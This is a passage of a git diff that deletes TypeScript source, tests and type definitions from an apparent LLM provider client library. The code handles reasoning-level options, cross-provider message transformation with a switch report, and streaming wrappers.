{ isAutoReasoning, resolveReasoningLevel } from "./simple-options.js"; - -function createModel(overrides: Partial> = {}): Model { - return { - id: "test-model", - name: "Test Model", - provider: "openai", - api: "openai-responses", - baseUrl: "https://api.openai.com/v1", - contextWindow: 128_000, - maxTokens: 16_384, - input: ["text"], - reasoning: true, - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - ...overrides, - }; -} - -describe("simple-options reasoning helpers", () => { - it("recognizes auto reasoning requests", () => { - assert.equal(isAutoReasoning("auto"), true); - assert.equal(isAutoReasoning("medium"), false); - assert.equal(isAutoReasoning(undefined), false); - }); - - it("maps auto to medium for reasoning-capable models", () => { - assert.equal(resolveReasoningLevel(createModel(), "auto"), "medium"); - }); - - it("maps auto to undefined for models without reasoning support", () => { - assert.equal( - resolveReasoningLevel(createModel({ reasoning: false }), "auto"), - undefined, - ); - }); - - it("passes through explicit reasoning levels unchanged", () => { - assert.equal(resolveReasoningLevel(createModel(), "xhigh"), "xhigh"); - }); -}); diff --git a/packages/pi-ai/src/providers/simple-options.ts b/packages/pi-ai/src/providers/simple-options.ts deleted file mode 100644 index d4459ed6b..000000000 --- a/packages/pi-ai/src/providers/simple-options.ts +++ /dev/null @@ -1,77 +0,0 @@ -import type { - Api, - Model, - RequestedThinkingLevel, - SimpleStreamOptions, - StreamOptions, - ThinkingBudgets, - ThinkingLevel, -} from "../types.js"; - -export function buildBaseOptions( - model: Model, - options?: SimpleStreamOptions, - apiKey?: string, -): StreamOptions { - return { - temperature: options?.temperature, - maxTokens: options?.maxTokens || Math.min(model.maxTokens, 32000), - signal: options?.signal, - apiKey: apiKey || options?.apiKey, - cacheRetention: options?.cacheRetention, - sessionId: options?.sessionId, - headers: options?.headers, - onPayload: options?.onPayload, - maxRetryDelayMs: options?.maxRetryDelayMs, - metadata: options?.metadata, - }; -} - -export function clampReasoning( - effort: ThinkingLevel | undefined, -): Exclude | undefined { - return effort === "xhigh" ? "high" : effort; -} - -export function isAutoReasoning( - effort: RequestedThinkingLevel | undefined, -): effort is Extract { - return effort === "auto"; -} - -export function resolveReasoningLevel( - model: Model, - effort: RequestedThinkingLevel | undefined, -): ThinkingLevel | undefined { - if (!effort || effort === "auto") { - if (!model.reasoning) return undefined; - return "medium"; - } - return effort; -} - -export function adjustMaxTokensForThinking( - baseMaxTokens: number, - modelMaxTokens: number, - reasoningLevel: ThinkingLevel, - customBudgets?: ThinkingBudgets, -): { maxTokens: number; thinkingBudget: number } { - const defaultBudgets: ThinkingBudgets = { - minimal: 1024, - low: 2048, - medium: 8192, - high: 16384, - }; - const budgets = { ...defaultBudgets, ...customBudgets }; - - const minOutputTokens = 1024; - const level = clampReasoning(reasoningLevel)!; - let thinkingBudget = budgets[level]!; - const maxTokens = Math.min(baseMaxTokens + thinkingBudget, modelMaxTokens); - - if (maxTokens <= thinkingBudget) { - thinkingBudget = Math.max(0, maxTokens - minOutputTokens); - } - - return { maxTokens, thinkingBudget }; -} diff --git a/packages/pi-ai/src/providers/transform-messages-report.test.ts b/packages/pi-ai/src/providers/transform-messages-report.test.ts deleted file mode 100644 index 41396d262..000000000 --- a/packages/pi-ai/src/providers/transform-messages-report.test.ts +++ /dev/null @@ -1,229 +0,0 @@ -// SF — ProviderSwitchReport Tests (ADR-005 Phase 3) - -import assert from "node:assert/strict"; -import { describe, test } from "vitest"; -import type { AssistantMessage, Message, Model, ToolCall } from "../types.js"; -import { - createEmptyReport, - hasTransformations, - transformMessages, -} from "./transform-messages.js"; - -// ─── Helpers ──────────────────────────────────────────────────────────────── - -function makeModel(overrides: Partial> = {}): Model { - return { - id: "claude-sonnet-4-6", - name: "Claude Sonnet 4.6", - api: "anthropic-messages", - provider: "anthropic", - baseUrl: "", - reasoning: false, - input: ["text", "image"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 200000, - maxTokens: 8192, - ...overrides, - } as Model; -} - -function makeAssistantMsg( - overrides: Partial = {}, -): AssistantMessage { - return { - role: "assistant", - content: [], - api: "anthropic-messages", - provider: "anthropic", - model: "claude-sonnet-4-6", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: Date.now(), - ...overrides, - }; -} - -// ─── createEmptyReport / hasTransformations ───────────────────────────────── - -describe("createEmptyReport", () => { - test("creates report with zero counters", () => { - const report = createEmptyReport("anthropic-messages", "openai-responses"); - assert.equal(report.fromApi, "anthropic-messages"); - assert.equal(report.toApi, "openai-responses"); - assert.equal(report.thinkingBlocksDropped, 0); - assert.equal(report.thinkingBlocksDowngraded, 0); - assert.equal(report.toolCallIdsRemapped, 0); - assert.equal(report.syntheticToolResultsInserted, 0); - assert.equal(report.thoughtSignaturesDropped, 0); - }); -}); - -describe("hasTransformations", () => { - test("returns false for empty report", () => { - const report = createEmptyReport("a", "b"); - assert.equal(hasTransformations(report), false); - }); - - test("returns true when any counter is non-zero", () => { - const report = createEmptyReport("a", "b"); - report.thinkingBlocksDropped = 1; - assert.equal(hasTransformations(report), true); - }); -}); - -// ─── Report Tracking in transformMessages ─────────────────────────────────── - -describe("transformMessages with report tracking", () => { - test("tracks thinking blocks dropped for redacted cross-model", () => { - const model = makeModel({ - id: "gpt-5", - api: "openai-responses", - provider: "openai", - }); - const messages: Message[] = [ - makeAssistantMsg({ - content: [ - { type: "thinking", thinking: "", redacted: true }, - { type: "text", text: "Hello" }, - ], - }), - ]; - const report = createEmptyReport("anthropic-messages", "openai-responses"); - transformMessages(messages, model, undefined, report); - assert.equal(report.thinkingBlocksDropped, 1); - }); - - test("tracks thinking blocks downgraded to plain text", () => { - const model = makeModel({ - id: "gpt-5", - api: "openai-responses", - provider: "openai", - }); - const messages: Message[] = [ - makeAssistantMsg({ - content: [ - { type: "thinking", thinking: "Let me think about this..." }, - { type: "text", text: "Here is my answer" }, - ], - }), - ]; - const report = createEmptyReport("anthropic-messages", "openai-responses"); - transformMessages(messages, model, undefined, report); - assert.equal(report.thinkingBlocksDowngraded, 1); - }); - - test("tracks tool call IDs remapped", () => { - const model = makeModel({ - id: "claude-sonnet-4-6", - api: "anthropic-messages", - provider: "anthropic", - }); - const toolCall: ToolCall = { - type: "toolCall", - id: "original-long-id-that-needs-normalization|with-special-chars", - name: "bash", - arguments: { command: "ls" }, - }; - const messages: Message[] = [ - makeAssistantMsg({ - provider: "openai", - api: "openai-responses", - model: "gpt-5", - content: [toolCall], - }), - ]; - const normalizer = (id: string) => - id.replace(/[^a-zA-Z0-9_-]/g, "_").slice(0, 64); - const report = createEmptyReport("openai-responses", "anthropic-messages"); - transformMessages(messages, model, normalizer, report); - assert.equal(report.toolCallIdsRemapped, 1); - }); - - test("tracks thought signatures dropped", () => { - const model = makeModel({ - id: "claude-sonnet-4-6", - api: "anthropic-messages", - provider: "anthropic", - }); - const toolCall: ToolCall = { - type: "toolCall", - id: "tc_001", - name: "bash", - arguments: { command: "ls" }, - thoughtSignature: "some-opaque-signature", - }; - const messages: Message[] = [ - makeAssistantMsg({ - provider: "google", - api: "google-generative-ai", - model: "gemini-2.5-pro", - content: [toolCall], - }), - ]; - const report = createEmptyReport( - "google-generative-ai", - "anthropic-messages", - ); - transformMessages(messages, model, undefined, report); - assert.equal(report.thoughtSignaturesDropped, 1); - }); - - test("tracks synthetic tool results inserted", () => { - const model = makeModel(); - const toolCall: ToolCall = { - type: "toolCall", - id: "tc_orphan", - name: "bash", - arguments: { command: "ls" }, - }; - // Assistant message with tool call followed by another assistant (no tool result) - const messages: Message[] = [ - makeAssistantMsg({ - content: [toolCall, { type: "text", text: "Using bash" }], - }), - makeAssistantMsg({ content: [{ type: "text", text: "Next message" }] }), - ]; - const report = createEmptyReport( - "anthropic-messages", - "anthropic-messages", - ); - transformMessages(messages, model, undefined, report); - assert.equal(report.syntheticToolResultsInserted, 1); - }); - - test("does not count transformations for same-model messages", () => { - const model = makeModel(); - const messages: Message[] = [ - makeAssistantMsg({ - content: [ - { type: "thinking", thinking: "Let me think..." }, - { type: "text", text: "Answer" }, - ], - }), - ]; - const report = createEmptyReport( - "anthropic-messages", - "anthropic-messages", - ); - transformMessages(messages, model, undefined, report); - assert.equal(report.thinkingBlocksDowngraded, 0); - assert.equal(report.thinkingBlocksDropped, 0); - }); - - test("works without report parameter (backward compatible)", () => { - const model = makeModel(); - const messages: Message[] = [ - makeAssistantMsg({ content: [{ type: "text", text: "Hello" }] }), - ]; - // Should not throw - const result = transformMessages(messages, model); - assert.ok(Array.isArray(result)); - }); -}); diff --git a/packages/pi-ai/src/providers/transform-messages.ts b/packages/pi-ai/src/providers/transform-messages.ts deleted file mode 100644 index 35705fe81..000000000 --- a/packages/pi-ai/src/providers/transform-messages.ts +++ /dev/null @@ -1,307 +0,0 @@ -import type { - Api, - AssistantMessage, - Message, - Model, - ToolCall, - ToolResultMessage, -} from "../types.js"; - -/** - * Report of context transformations during a cross-provider switch (ADR-005 Phase 3). - * Tracks what was lost or downgraded when replaying conversation history to a different provider. - */ -export interface ProviderSwitchReport { - /** API of the messages being transformed from */ - fromApi: string; - /** API of the target model */ - toApi: string; - /** Number of thinking blocks completely dropped (redacted/encrypted, cross-model) */ - thinkingBlocksDropped: number; - /** Number of thinking blocks downgraded from structured to plain text */ - thinkingBlocksDowngraded: number; - /** Number of tool call IDs that were remapped/normalized */ - toolCallIdsRemapped: number; - /** Number of synthetic tool results inserted for orphaned tool calls */ - syntheticToolResultsInserted: number; - /** Number of thought signatures dropped (Google-specific opaque context) */ - thoughtSignaturesDropped: number; -} - -/** - * Create an empty provider switch report. - */ -export function createEmptyReport( - fromApi: string, - toApi: string, -): ProviderSwitchReport { - return { - fromApi, - toApi, - thinkingBlocksDropped: 0, - thinkingBlocksDowngraded: 0, - toolCallIdsRemapped: 0, - syntheticToolResultsInserted: 0, - thoughtSignaturesDropped: 0, - }; -} - -/** - * Check if a provider switch report has any non-zero transformations. - */ -export function hasTransformations(report: ProviderSwitchReport): boolean { - return ( - report.thinkingBlocksDropped > 0 || - report.thinkingBlocksDowngraded > 0 || - report.toolCallIdsRemapped > 0 || - report.syntheticToolResultsInserted > 0 || - report.thoughtSignaturesDropped > 0 - ); -} - -/** - * Create a report, run transformMessages, and log if non-empty. - * Convenience wrapper for provider adapters (ADR-005). - */ -export function transformMessagesWithReport( - messages: Message[], - model: Model, - normalizeToolCallId?: ( - id: string, - model: Model, - source: AssistantMessage, - ) => string, - sourceApi?: string, -): Message[] { - const report = createEmptyReport(sourceApi ?? "unknown", model.api); - const result = transformMessages( - messages, - model, - normalizeToolCallId, - report, - ); - if (hasTransformations(report)) { - logProviderSwitchReport(report); - } - return result; -} - -/** Log a non-empty ProviderSwitchReport as a debug-level warning. */ -function logProviderSwitchReport(report: ProviderSwitchReport): void { - const parts: string[] = [ - `Provider switch ${report.fromApi} → ${report.toApi}:`, - ]; - if (report.thinkingBlocksDropped > 0) - parts.push(`${report.thinkingBlocksDropped} thinking blocks dropped`); - if (report.thinkingBlocksDowngraded > 0) - parts.push(`${report.thinkingBlocksDowngraded} thinking blocks downgraded`); - if (report.toolCallIdsRemapped > 0) - parts.push(`${report.toolCallIdsRemapped} tool call IDs remapped`); - if (report.syntheticToolResultsInserted > 0) - parts.push( - `${report.syntheticToolResultsInserted} synthetic tool results inserted`, - ); - if (report.thoughtSignaturesDropped > 0) - parts.push(`${report.thoughtSignaturesDropped} thought signatures dropped`); - // Use process.stderr for debug output — this is observable in verbose/debug modes - // without polluting stdout which may be used for structured output (RPC/MCP). - if (process.env.SF_VERBOSE === "1" || process.env.PI_VERBOSE === "1") { - process.stderr.write(`[provider-switch] ${parts.join(", ")}\n`); - } -} - -/** - * Normalize tool call ID for cross-provider compatibility. - * OpenAI Responses API generates IDs that are 450+ chars with special characters like `|`. - * Anthropic APIs require IDs matching ^[a-zA-Z0-9_-]+$ (max 64 chars). - */ -export function transformMessages( - messages: Message[], - model: Model, - normalizeToolCallId?: ( - id: string, - model: Model, - source: AssistantMessage, - ) => string, - report?: ProviderSwitchReport, -): Message[] { - // Build a map of original tool call IDs to normalized IDs - const toolCallIdMap = new Map(); - - // First pass: transform messages (thinking blocks, tool call ID normalization) - const transformed = messages.map((msg) => { - // User messages pass through unchanged - if (msg.role === "user") { - return msg; - } - - // Handle toolResult messages - normalize toolCallId if we have a mapping - if (msg.role === "toolResult") { - const normalizedId = toolCallIdMap.get(msg.toolCallId); - if (normalizedId && normalizedId !== msg.toolCallId) { - return { ...msg, toolCallId: normalizedId }; - } - return msg; - } - - // Assistant messages need transformation check - if (msg.role === "assistant") { - const assistantMsg = msg as AssistantMessage; - const isSameModel = - assistantMsg.provider === model.provider && - assistantMsg.api === model.api && - assistantMsg.model === model.id; - - const transformedContent = assistantMsg.content.flatMap((block) => { - if (block.type === "thinking") { - // Redacted thinking is opaque encrypted content, only valid for the same model. - // Drop it for cross-model to avoid API errors. - if (block.redacted) { - if (!isSameModel && report) report.thinkingBlocksDropped++; - return isSameModel ? block : []; - } - // For same model: keep thinking blocks with signatures (needed for replay) - // even if the thinking text is empty (OpenAI encrypted reasoning) - if (isSameModel && block.thinkingSignature) return block; - // Skip empty thinking blocks, convert others to plain text - if (!block.thinking || block.thinking.trim() === "") { - if (!isSameModel && report) report.thinkingBlocksDropped++; - return []; - } - if (isSameModel) return block; - // Downgrade: structured thinking → plain text - if (report) report.thinkingBlocksDowngraded++; - return { - type: "text" as const, - text: block.thinking, - }; - } - - if (block.type === "text") { - if (isSameModel) return block; - return { - type: "text" as const, - text: block.text, - }; - } - - if (block.type === "toolCall") { - const toolCall = block as ToolCall; - let normalizedToolCall: ToolCall = toolCall; - - if (!isSameModel && toolCall.thoughtSignature) { - normalizedToolCall = { ...toolCall }; - delete (normalizedToolCall as { thoughtSignature?: string }) - .thoughtSignature; - if (report) report.thoughtSignaturesDropped++; - } - - if (!isSameModel && normalizeToolCallId) { - const normalizedId = normalizeToolCallId( - toolCall.id, - model, - assistantMsg, - ); - if (normalizedId !== toolCall.id) { - toolCallIdMap.set(toolCall.id, normalizedId); - normalizedToolCall = { ...normalizedToolCall, id: normalizedId }; - if (report) report.toolCallIdsRemapped++; - } - } - - return normalizedToolCall; - } - - return block; - }); - - return { - ...assistantMsg, - content: transformedContent, - }; - } - return msg; - }); - - // Second pass: insert synthetic empty tool results for orphaned tool calls - // This preserves thinking signatures and satisfies API requirements - const result: Message[] = []; - let pendingToolCalls: ToolCall[] = []; - let existingToolResultIds = new Set(); - - for (let i = 0; i < transformed.length; i++) { - const msg = transformed[i]; - - if (msg.role === "assistant") { - // If we have pending orphaned tool calls from a previous assistant, insert synthetic results now - if (pendingToolCalls.length > 0) { - for (const tc of pendingToolCalls) { - if (!existingToolResultIds.has(tc.id)) { - result.push({ - role: "toolResult", - toolCallId: tc.id, - toolName: tc.name, - content: [{ type: "text", text: "No result provided" }], - isError: true, - timestamp: Date.now(), - } as ToolResultMessage); - if (report) report.syntheticToolResultsInserted++; - } - } - pendingToolCalls = []; - existingToolResultIds = new Set(); - } - - // Skip errored/aborted assistant messages entirely. - // These are incomplete turns that shouldn't be replayed: - // - May have partial content (reasoning without message, incomplete tool calls) - // - Replaying them can cause API errors (e.g., OpenAI "reasoning without following item") - // - The model should retry from the last valid state - const assistantMsg = msg as AssistantMessage; - if ( - assistantMsg.stopReason === "error" || - assistantMsg.stopReason === "aborted" - ) { - continue; - } - - // Track tool calls from this assistant message - const toolCalls = assistantMsg.content.filter( - (b) => b.type === "toolCall", - ) as ToolCall[]; - if (toolCalls.length > 0) { - pendingToolCalls = toolCalls; - existingToolResultIds = new Set(); - } - - result.push(msg); - } else if (msg.role === "toolResult") { - existingToolResultIds.add(msg.toolCallId); - result.push(msg); - } else if (msg.role === "user") { - // User message interrupts tool flow - insert synthetic results for orphaned calls - if (pendingToolCalls.length > 0) { - for (const tc of pendingToolCalls) { - if (!existingToolResultIds.has(tc.id)) { - result.push({ - role: "toolResult", - toolCallId: tc.id, - toolName: tc.name, - content: [{ type: "text", text: "No result provided" }], - isError: true, - timestamp: Date.now(), - } as ToolResultMessage); - if (report) report.syntheticToolResultsInserted++; - } - } - pendingToolCalls = []; - existingToolResultIds = new Set(); - } - result.push(msg); - } else { - result.push(msg); - } - } - - return result; -} diff --git a/packages/pi-ai/src/stream.ts b/packages/pi-ai/src/stream.ts deleted file mode 100644 index e8a2e50eb..000000000 --- a/packages/pi-ai/src/stream.ts +++ /dev/null @@ -1,59 +0,0 @@ -import "./providers/register-builtins.js"; - -import { getApiProvider } from "./api-registry.js"; -import type { - Api, - AssistantMessage, - AssistantMessageEventStream, - Context, - Model, - ProviderStreamOptions, - SimpleStreamOptions, - StreamOptions, -} from "./types.js"; - -export { getEnvApiKey } from "./env-api-keys.js"; - -function resolveApiProvider(api: Api) { - const provider = getApiProvider(api); - if (!provider) { - throw new Error(`No API provider registered for api: ${api}`); - } - return provider; -} - -export function stream( - model: Model, - context: Context, - options?: ProviderStreamOptions, -): AssistantMessageEventStream { - const provider = resolveApiProvider(model.api); - return provider.stream(model, context, options as StreamOptions); -} - -export async function complete( - model: Model, - context: Context, - options?: ProviderStreamOptions, -): Promise { - const s = stream(model, context, options); - return s.result(); -} - -export function streamSimple( - model: Model, - context: Context, - options?: SimpleStreamOptions, -): AssistantMessageEventStream { - const provider = resolveApiProvider(model.api); - return provider.streamSimple(model, context, options); -} - -export async function completeSimple( - model: Model, - context: Context, - options?: SimpleStreamOptions, -): Promise { - const s = streamSimple(model, context, options); - return s.result(); -} diff --git a/packages/pi-ai/src/types.ts b/packages/pi-ai/src/types.ts deleted file mode 100644 index e07344bd3..000000000 --- a/packages/pi-ai/src/types.ts +++ /dev/null @@ -1,465 +0,0 @@ -import type { AssistantMessageEventStream } from "./utils/event-stream.js"; - -export type { AssistantMessageEventStream } from "./utils/event-stream.js"; - -export type KnownApi = - | "openai-completions" - | "mistral-conversations" - | "openai-responses" - | "azure-openai-responses" - | "openai-codex-responses" - | "anthropic-messages" - | "anthropic-vertex" - | "bedrock-converse-stream" - | "google-generative-ai" - | "google-gemini-cli" - | "google-vertex" - | "ollama-chat"; - -export type Api = KnownApi | (string & {}); - -export type KnownProvider = - | "amazon-bedrock" - | "anthropic" - | "anthropic-vertex" - | "google" - | "google-gemini-cli" - | "google-vertex" - | "openai" - | "azure-openai-responses" - | "openai-codex" - | "github-copilot" - | "xai" - | "groq" - | "cerebras" - | "openrouter" - | "vercel-ai-gateway" - | "zai" - | "mistral" - | "minimax" - | "minimax-cn" - | "huggingface" - | "opencode" - | "opencode-go" - | "kimi-coding" - | "xiaomi" - | "xiaomi-token-plan-ams" - | "xiaomi-token-plan-sgp" - | "xiaomi-token-plan-cn" - | "alibaba-coding-plan" - | "alibaba-dashscope" - | "ollama" - | "ollama-cloud" - | "longcat"; -export type Provider = KnownProvider | string; - -export type ThinkingLevel = "minimal" | "low" | "medium" | "high" | "xhigh"; -export type RequestedThinkingLevel = "auto" | ThinkingLevel; - -/** Token budgets for each thinking level (token-based providers only) */ -export interface ThinkingBudgets { - minimal?: number; - low?: number; - medium?: number; - high?: number; -} - -// Base options all providers share -export type CacheRetention = "none" | "short" | "long"; - -export type Transport = "sse" | "websocket" | "auto"; - -export interface StreamOptions { - temperature?: number; - maxTokens?: number; - signal?: AbortSignal; - apiKey?: string; - /** - * Preferred transport for providers that support multiple transports. - * Providers that do not support this option ignore it. - */ - transport?: Transport; - /** - * Prompt cache retention preference. Providers map this to their supported values. - * Default: "short". - */ - cacheRetention?: CacheRetention; - /** - * Optional session identifier for providers that support session-based caching. - * Providers can use this to enable prompt caching, request routing, or other - * session-aware features. Ignored by providers that don't support it. - */ - sessionId?: string; - /** - * Optional callback for inspecting or replacing provider payloads before sending. - * Return undefined to keep the payload unchanged. - */ - onPayload?: ( - payload: unknown, - model: Model, - ) => unknown | undefined | Promise; - /** - * Optional custom HTTP headers to include in API requests. - * Merged with provider defaults; can override default headers. - * Not supported by all providers (e.g., AWS Bedrock uses SDK auth). - */ - headers?: Record; - /** - * Maximum delay in milliseconds to wait for a retry when the server requests a long wait. - * If the server's requested delay exceeds this value, the request fails immediately - * with an error containing the requested delay, allowing higher-level retry logic - * to handle it with user visibility. - * Default: 60000 (60 seconds). Set to 0 to disable the cap. - */ - maxRetryDelayMs?: number; - /** - * Optional metadata to include in API requests. - * Providers extract the fields they understand and ignore the rest. - * For example, Anthropic uses `user_id` for abuse tracking and rate limiting. - */ - metadata?: Record; -} - -export type ProviderStreamOptions = StreamOptions & Record; - -// Unified options with reasoning passed to streamSimple() and completeSimple() -export interface SimpleStreamOptions extends StreamOptions { - reasoning?: RequestedThinkingLevel; - /** Custom token budgets for thinking levels (token-based providers only) */ - thinkingBudgets?: ThinkingBudgets; -} - -// Generic StreamFunction with typed options -export type StreamFunction< - TApi extends Api = Api, - TOptions extends StreamOptions = StreamOptions, -> = ( - model: Model, - context: Context, - options?: TOptions, -) => AssistantMessageEventStream; - -export interface TextSignatureV1 { - v: 1; - id: string; - phase?: "commentary" | "final_answer"; -} - -export interface TextContent { - type: "text"; - text: string; - textSignature?: string; // e.g., for OpenAI responses, message metadata (legacy id string or TextSignatureV1 JSON) -} - -export interface ThinkingContent { - type: "thinking"; - thinking: string; - thinkingSignature?: string; // e.g., for OpenAI responses, the reasoning item ID - /** When true, the thinking content was redacted by safety filters. The opaque - * encrypted payload is stored in `thinkingSignature` so it can be passed back - * to the API for multi-turn continuity. */ - redacted?: boolean; -} - -export interface ImageContent { - type: "image"; - data: string; // base64 encoded image data - mimeType: string; // e.g., "image/jpeg", "image/png" -} - -export interface ToolCall { - type: "toolCall"; - id: string; - name: string; - arguments: Record; - thoughtSignature?: string; // Google-specific: opaque signature for reusing thought context -} - -/** Server-side tool use (e.g., Anthropic native web search). Executed by the API, not the client. */ -export interface ServerToolUseContent { - type: "serverToolUse"; - id: string; - name: string; // e.g., "web_search" - input: unknown; -} - -/** Result of a server-side tool execution, paired with a ServerToolUseContent by toolUseId. */ -export interface WebSearchResultContent { - type: "webSearchResult"; - toolUseId: string; - /** Search results or error from the server. Opaque — stored for API replay. */ - content: unknown; -} - -export interface Usage { - input: number; - output: number; - cacheRead: number; - cacheWrite: number; - totalTokens: number; - cost: { - input: number; - output: number; - cacheRead: number; - cacheWrite: number; - total: number; - }; -} - -export type StopReason = - | "stop" - | "length" - | "toolUse" - | "pauseTurn" - | "error" - | "aborted"; - -export interface UserMessage { - role: "user"; - content: string | (TextContent | ImageContent)[]; - timestamp: number; // Unix timestamp in milliseconds -} - -export interface AssistantMessage { - role: "assistant"; - content: ( - | TextContent - | ThinkingContent - | ToolCall - | ServerToolUseContent - | WebSearchResultContent - )[]; - api: Api; - provider: Provider; - model: string; - usage: Usage; - stopReason: StopReason; - errorMessage?: string; - /** Server-requested retry delay in milliseconds (from Retry-After or rate limit headers). */ - retryAfterMs?: number; - /** Provider inference performance metrics (e.g. tokens/sec from local models). */ - inferenceMetrics?: InferenceMetrics; - timestamp: number; // Unix timestamp in milliseconds -} - -/** Inference performance metrics reported by providers that support it (e.g. Ollama). */ -export interface InferenceMetrics { - /** Tokens generated per second during eval phase. */ - tokensPerSecond: number; - /** Wall-clock duration of the full request in milliseconds. */ - totalDurationMs: number; - /** Duration of the eval (generation) phase in milliseconds. */ - evalDurationMs: number; - /** Duration of the prompt eval phase in milliseconds. */ - promptEvalDurationMs: number; -} - -export interface ToolResultMessage { - role: "toolResult"; - toolCallId: string; - toolName: string; - content: (TextContent | ImageContent)[]; // Supports text and images - details?: TDetails; - isError: boolean; - timestamp: number; // Unix timestamp in milliseconds -} - -export type Message = UserMessage | AssistantMessage | ToolResultMessage; - -import type { TSchema } from "@sinclair/typebox"; - -export interface Tool { - name: string; - description: string; - parameters: TParameters; -} - -export interface Context { - systemPrompt?: string; - messages: Message[]; - tools?: Tool[]; -} - -export type AssistantMessageEvent = - | { type: "start"; partial: AssistantMessage } - | { type: "text_start"; contentIndex: number; partial: AssistantMessage } - | { - type: "text_delta"; - contentIndex: number; - delta: string; - partial: AssistantMessage; - } - | { - type: "text_end"; - contentIndex: number; - content: string; - partial: AssistantMessage; - } - | { type: "thinking_start"; contentIndex: number; partial: AssistantMessage } - | { - type: "thinking_delta"; - contentIndex: number; - delta: string; - partial: AssistantMessage; - } - | { - type: "thinking_end"; - contentIndex: number; - content: string; - partial: AssistantMessage; - } - | { type: "toolcall_start"; contentIndex: number; partial: AssistantMessage } - | { - type: "toolcall_delta"; - contentIndex: number; - delta: string; - partial: AssistantMessage; - } - | { - type: "toolcall_end"; - contentIndex: number; - toolCall: ToolCall; - partial: AssistantMessage; - malformedArguments?: boolean; - } - | { type: "server_tool_use"; contentIndex: number; partial: AssistantMessage } - | { - type: "web_search_result"; - contentIndex: number; - partial: AssistantMessage; - } - | { - type: "done"; - reason: Extract; - message: AssistantMessage; - } - | { - type: "error"; - reason: Extract; - error: AssistantMessage; - }; - -/** - * Compatibility settings for OpenAI-compatible completions APIs. - * Use this to override URL-based auto-detection for custom providers. - */ -export interface OpenAICompletionsCompat { - /** Whether the provider supports the `store` field. Default: auto-detected from URL. */ - supportsStore?: boolean; - /** Whether the provider supports the `developer` role (vs `system`). Default: auto-detected from URL. */ - supportsDeveloperRole?: boolean; - /** Whether the provider supports `reasoning_effort`. Default: auto-detected from URL. */ - supportsReasoningEffort?: boolean; - /** Optional mapping from pi-ai reasoning levels to provider/model-specific `reasoning_effort` values. */ - reasoningEffortMap?: Partial>; - /** Whether the provider supports `stream_options: { include_usage: true }` for token usage in streaming responses. Default: true. */ - supportsUsageInStreaming?: boolean; - /** Which field to use for max tokens. Default: auto-detected from URL. */ - maxTokensField?: "max_completion_tokens" | "max_tokens"; - /** Whether tool results require the `name` field. Default: auto-detected from URL. */ - requiresToolResultName?: boolean; - /** Whether a user message after tool results requires an assistant message in between. Default: auto-detected from URL. */ - requiresAssistantAfterToolResult?: boolean; - /** Whether thinking blocks must be converted to text blocks with delimiters. Default: auto-detected from URL. */ - requiresThinkingAsText?: boolean; - /** Format for reasoning/thinking parameter. "openai" uses reasoning_effort, "zai" uses thinking: { type: "enabled" }, "qwen" uses enable_thinking: boolean. Default: "openai". */ - thinkingFormat?: "openai" | "zai" | "qwen"; - /** OpenRouter-specific routing preferences. Only used when baseUrl points to OpenRouter. */ - openRouterRouting?: OpenRouterRouting; - /** Vercel AI Gateway routing preferences. Only used when baseUrl points to Vercel AI Gateway. */ - vercelGatewayRouting?: VercelGatewayRouting; - /** Whether the provider supports the `strict` field in tool definitions. Default: true. */ - supportsStrictMode?: boolean; -} - -/** Compatibility settings for OpenAI Responses APIs. */ -export type OpenAIResponsesCompat = Record; - -/** - * OpenRouter provider routing preferences. - * Controls which upstream providers OpenRouter routes requests to. - * @see https://openrouter.ai/docs/provider-routing - */ -export interface OpenRouterRouting { - /** List of provider slugs to exclusively use for this request (e.g., ["amazon-bedrock", "anthropic"]). */ - only?: string[]; - /** List of provider slugs to try in order (e.g., ["anthropic", "openai"]). */ - order?: string[]; -} - -/** - * Vercel AI Gateway routing preferences. - * Controls which upstream providers the gateway routes requests to. - * @see https://vercel.com/docs/ai-gateway/models-and-providers/provider-options - */ -export interface VercelGatewayRouting { - /** List of provider slugs to exclusively use for this request (e.g., ["bedrock", "anthropic"]). */ - only?: string[]; - /** List of provider slugs to try in order (e.g., ["anthropic", "openai"]). */ - order?: string[]; -} - -/** - * Provider-agnostic capability declarations for a model. - * - * These fields allow models to self-declare supported features so that call - * sites can read from metadata rather than pattern-matching on model IDs or - * provider names. Add fields here as new cross-provider capabilities emerge. - */ -export interface ModelCapabilities { - /** Whether the model supports xhigh thinking level. */ - supportsXhigh?: boolean; - /** - * Whether tool call IDs must be included and normalised in tool results for - * this model. Relevant for models deployed cross-provider (e.g. Claude or - * GPT variants via Google APIs) where the host API imposes stricter ID rules. - */ - requiresToolCallId?: boolean; - /** Whether OpenAI-style service tiers (priority/flex) apply to this model. */ - supportsServiceTier?: boolean; - /** - * Approximate characters per token for this model. - * Used as a fallback when an accurate tokenizer is unavailable. - * If omitted, the provider-level default is used. - */ - charsPerToken?: number; - /** - * Whether this model's Anthropic-compatible thinking API accepts {"type":"enabled"} - * without a budget_tokens field. When true, reasoning:"auto" sends no budget - * and lets the model decide its own reasoning depth (e.g. Kimi via kimi-coding). - */ - thinkingNoBudget?: boolean; -} - -// Model interface for the unified model system -export interface Model { - id: string; - name: string; - api: TApi; - provider: Provider; - baseUrl: string; - reasoning: boolean; - input: ("text" | "image")[]; - cost: { - input: number; // $/million tokens - output: number; // $/million tokens - cacheRead: number; // $/million tokens - cacheWrite: number; // $/million tokens - }; - contextWindow: number; - maxTokens: number; - headers?: Record; - /** Compatibility overrides for OpenAI-compatible APIs. If not set, auto-detected from baseUrl. */ - compat?: TApi extends "openai-completions" - ? OpenAICompletionsCompat - : TApi extends "openai-responses" - ? OpenAIResponsesCompat - : never; - /** - * Provider-agnostic capability declarations for this model. - * Read these fields instead of pattern-matching on model IDs or provider names. - */ - capabilities?: ModelCapabilities; - /** Opaque provider-specific options. Cast to the appropriate type in the provider's stream handler. */ - providerOptions?: Record; -} diff --git a/packages/pi-ai/src/utils/event-stream.test.ts b/packages/pi-ai/src/utils/event-stream.test.ts deleted file mode 100644 index 4c0334e66..000000000 --- a/packages/pi-ai/src/utils/event-stream.test.ts +++ /dev/null @@ -1,138 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { parseAnthropicSSE } from "./event-stream.js"; - -function createMockResponse(chunks: string[]): Response { - let index = 0; - const encoder = new TextEncoder(); - const stream = new ReadableStream({ - pull(controller) { - 